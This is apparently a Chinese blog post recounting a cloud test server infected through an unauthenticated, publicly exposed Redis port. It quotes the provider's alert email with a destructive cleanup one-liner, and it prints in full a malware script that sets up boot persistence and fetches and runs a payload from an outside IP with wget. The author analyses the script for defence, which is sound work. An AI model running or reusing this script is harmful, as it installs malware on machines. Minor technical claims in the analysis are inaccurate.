记一次中病毒经历
昨天,为了偷懒(不想在开发机器上装redis),把测试服务器上面的Redis端口打开让外面可以访问,今天收到了一个可怕的邮件,并且发现放在测试服上的应用因为内存不够被kill掉了。下面是那封可怕的邮件:
尊敬的用户:
经检测您的云服务器(121.**.*.*)存在恶意发包行为,需要您尽快排查您的安全隐患。目前系统不会处罚您的机器,但请您务必重视。
请先查看是否服务被黑客利用进行攻击,对服务进行加固处理方法见以下链接:[https://help.aliyun.com/knowledge_detail/13072193.html?spm=5176.789006066.2.17.koPuT1](https://help.aliyun.com/knowledge_detail/13072193.html?spm=5176.789006066.2.17.koPuT1)
被黑客控制有以下2种解决方案可供您选择用于解决问题:
方案一:您有技术人员进行解决
请参考以下方法自查:
1、未经授权不得使用扫描器,等其它黑客工具进行非法扫描,否则请提工单进行沟通说明并提供授权测试证明。
2、病毒木马排查。
2.1、使用netstat查看网络连接,分析是否有可疑发送行为,如有则停止。 (linux常见木马,清理命令chattr -i /usr/bin/.sshd; rm -f /usr/bin/.sshd; chattr -i /usr/bin/.swhd; rm -f /usr/bin/.swhd; rm -f -r /usr/bin/bsd-port; cp /usr/bin/dpkgd/ps /bin/ps; cp /usr/bin/dpkgd/netstat /bin/netstat; cp /usr/bin/dpkgd/lsof /usr/sbin/lsof; cp /usr/bin/dpkgd/ss /usr/sbin/ss;rm -r -f /root/.ssh; rm -r -f /usr/bin/bsd-port;find /proc/ -name exe | xargs ls -l | grep -v task |grep deleted| awk '{print $11}' | awk -F/ '{print $NF}' | xargs killall -9;)
2.2、使用杀毒软件进行病毒查杀。
3、服务器漏洞排查并修复
3.1、查看服务器账号是否有异常,如有则停止删除掉。
3.2、查看服务器是否有异地登录情况,如有则修改密码为强密码(字每+数字+特殊符号)大小写,10位及以上。
3.3、查看Jenkins、Tomcat、PhpMyadmin、WDCP、Weblogic后台密码,提高密码强度(字每+数字+特殊符号)大小写,10位及以上,不需要使用后台建议停止8080等管理端口。
3.4、查看WEB应用是否有漏洞,如struts, ElasticSearch等,如有则请升级。
3.5、查看MySQL、SQLServer、FTP、WEB管理后台等其它有设置密码的地方,提高密码强度(字每+数字+特殊符号)大小写,10位及以上。
3.6、查看Redis无密码可远程写入文件漏洞,检查/root/.ssh/下黑客创建的SSH登录密钥文件,删除掉,修改Redis为有密码访问并使用强密码,不需要公网访问最好bind 127.0.0.1本地访问。
3.7、如果有安装第三方软件,请按官网指引进行修复。
4、开启云盾服务,并开启所有云盾安全防护功能对您的主机进行安全防护,免于再次遭到恶意攻击。
实施安全防御方案
请您尽快开启云盾服务,开启步骤详见:[http://help.aliyun.com/view/11108300_13730770.html](http://help.aliyun.com/view/11108300_13730770.html?&utm_campaign=sys&utm_medium=system&utm_source=sys_email&msctype=email&mscareaid=cn&mscsiteid=cn&mscmsgid=1900117072600961905&)
同时也建议您开启云盾应用防火墙功能,开启步骤详见:[http://help.aliyun.com/view/11108300_13857395.html](http://help.aliyun.com/view/11108300_13857395.html?&utm_campaign=sys&utm_medium=system&utm_source=sys_email&msctype=email&mscareaid=cn&mscsiteid=cn&mscmsgid=1900117072600961905&)
5、如果问题仍未解决
经过以上处理还不能解决问题,强烈建议您将系统盘和数据盘的数据完全下载备份到本地保存后,重置全盘(登陆[www.aliyun.com](x-webdoc://A1C9656E-8FCE-4A7F-A44E-11866D29C6F0/www.aliyun.com), 进入我的阿里云-》管理控制台-》云服务器ECS控制台-》点击进行您需要进行初始化的实例,备份完服务器数据后关闭实例,点击“重置磁盘”,按您的实际情况选择系统盘和数据盘重置即可)后,重新部署程序应用并对数据进行杀毒后上传,并重新进行前述的3步处理。
方案二:直接备份数据重置服务器并进行安全部署
请您直接参考链接进行处理[https://help.aliyun.com/knowledge_detail/7613565.html?spm=5176.789006066.2.9.HfuUsB](https://help.aliyun.com/knowledge_detail/7613565.html?&utm_campaign=sys&utm_medium=system&utm_source=sys_email&msctype=email&mscareaid=cn&mscsiteid=cn&mscmsgid=1900117072600961905&spm=5176.789006066.2.9.HfuUsB)
然后,开始找病毒之旅:
用Top命令找到是不是跑出来的陌生进程:pmzasa,还有没截图到的chongfu.sh 、dawea。Kill是不管用的,病毒会自动重启。
通过PS命令发现pmzasa在/tmp/文件夹下
然后在/tmp/文件夹下果然看到了三个可执行文件,chongfu.sh是一个shell脚本可以直接打开,里面的注释居然写着邀请有梦想的人加群讨论
当然群是没进去的。
贴一下完整
chongfu.sh
代码,我们来分析:
#!/bin/bash
#Welcome like-minded friends to come to exchange.
#We are a group of people who have a dream.
# qun:10776622
# 2016-06-14
if [ "sh /etc/chongfu.sh &" = "$(cat /etc/rc.local | grep /etc/chongfu.sh | grep -v grep)" ]; then
echo ""
else
echo "sh /etc/chongfu.sh &" >> /etc/rc.local
fi
while [ 1 ]; do
Centos_sshd_killn=$(ps aux | grep "/tmp/pmzasa" | grep -v grep | wc -l)
if [[ $Centos_sshd_killn -eq 0 ]]; then
if [ ! -f "/tmp/pmzasa" ]; then
if [ -f "/usr/bin/wget" ]; then
cp /usr/bin/wget .
chmod +x wget
#./wget -P . http://222.186.34.56:62321/pmzasa
./wget -P /tmp/ http://222.186.34.56:62321/pmzasa &> /dev/null
chmod 755 /tmp/pmzasa
rm wget -rf
else
echo "No wget"
fi
fi
/tmp/pmzasa &
#./pmzasa &
elif [[ $Centos_sshd_killn -gt 1 ]]; then
for killed in $(ps aux | grep "pmzasa" | grep -v grep | awk '{print $2}'); do
Centos_sshd_killn=$(($Centos_sshd_killn-1))
if [[ $Centos_sshd_killn -eq 1 ]]; then
continue
else
kill -9 $killed
fi
done
else
echo ""
fi
Centos_ssh_killn=$(ps aux | grep "/tmp/pmzasa1" | grep -v grep | wc -l)
if [[ $Centos_ssh_killn -eq 0 ]]; then
if [ ! -f "/tmp/pmzasa1" ]; then
if [ -f "/usr/bin/wget" ]; then
cp /usr/bin/wget .
chmod +x wget
#./wget -P . http://127.0.0.1:8181/pmzasa1
./wget -P /tmp/ http://127.0.0.1:8181/pmzasa1 &> /dev/null
chmod 755 /tmp/pmzasa1
rm wget -rf
else
echo "No wget"
fi
fi
/tmp/pmzasa1 &
#./pmzasa1 &
elif [[ $Centos_ssh_killn -gt 1 ]]; then
for killed in $(ps aux | grep "pmzasa1" | grep -v grep | awk '{print $2}'); do
Centos_ssh_killn=$(($Centos_ssh_killn-1))
if [[ $Centos_ssh_killn -eq 1 ]]; then
continue
else
kill -9 $killed
fi
done
else
echo ""
fi
sleep 600
done
可以看到,chongfu.sh
的第一个任务是往/etc/rc.local文件中写入一个字符串“sh /etc/chongfu.sh &”,而这个文件会在系统启动时,在其他的初始化脚本执行完之后执行,如图:
果断把看起来非常可疑的 /root/dawea reboot
和 sh /etc/chongfu.sh &
删掉,再往后看:
后面就做了一件事情,每隔500秒,去另外一台机器(222.186.34.56:62321)上拉一个叫pmzasa的文件到本地,然后执行,如果现在已经有多个pmzasa正在执行,那就只保留一个。不至于让宿主机器压力太大,可能黑客觉得这样做可以不那么容易被发觉吧。
值得一提的是,shell代码里面
/wget -P /tmp/ http://222.186.34.56:62321/pmzasa &> /dev/null
这句话就是简单把pmzasa文件拷贝到了本地/tmp/目录下,其中 > /dev/null
是个障眼法,没实际意义,,参考维基百科关于/dev/null的描述:https://zh.wikipedia.org/wiki//dev/null
经过各种查可以文件删除,现在基本上pmzasa这个病毒已经清干净了。
查看一下阿里的负载情况:从昨天下午中病毒开始,到今天5点多开始kill病毒进程,并逐步清理,中病毒期间CPU使用率几乎达到100%。
也许服务器还是残留这一些病毒,但目前来看还算稳定,后续还需要继续监控,但是还是发现一个可以的进程knerl
不知道是不是Linux自带的进程,后续还要继续关注。今天从下午5点左右意识到病毒把应用拖垮带来的问题严重性,到晚上11点,一直在处理这个问题,中间大约有一个小时吃饭,一个小时下班地铁上。
最近在研究Docker, 用Docker的话应该就可以避免这种因为软件安全漏洞引起整个机器感染的风险了。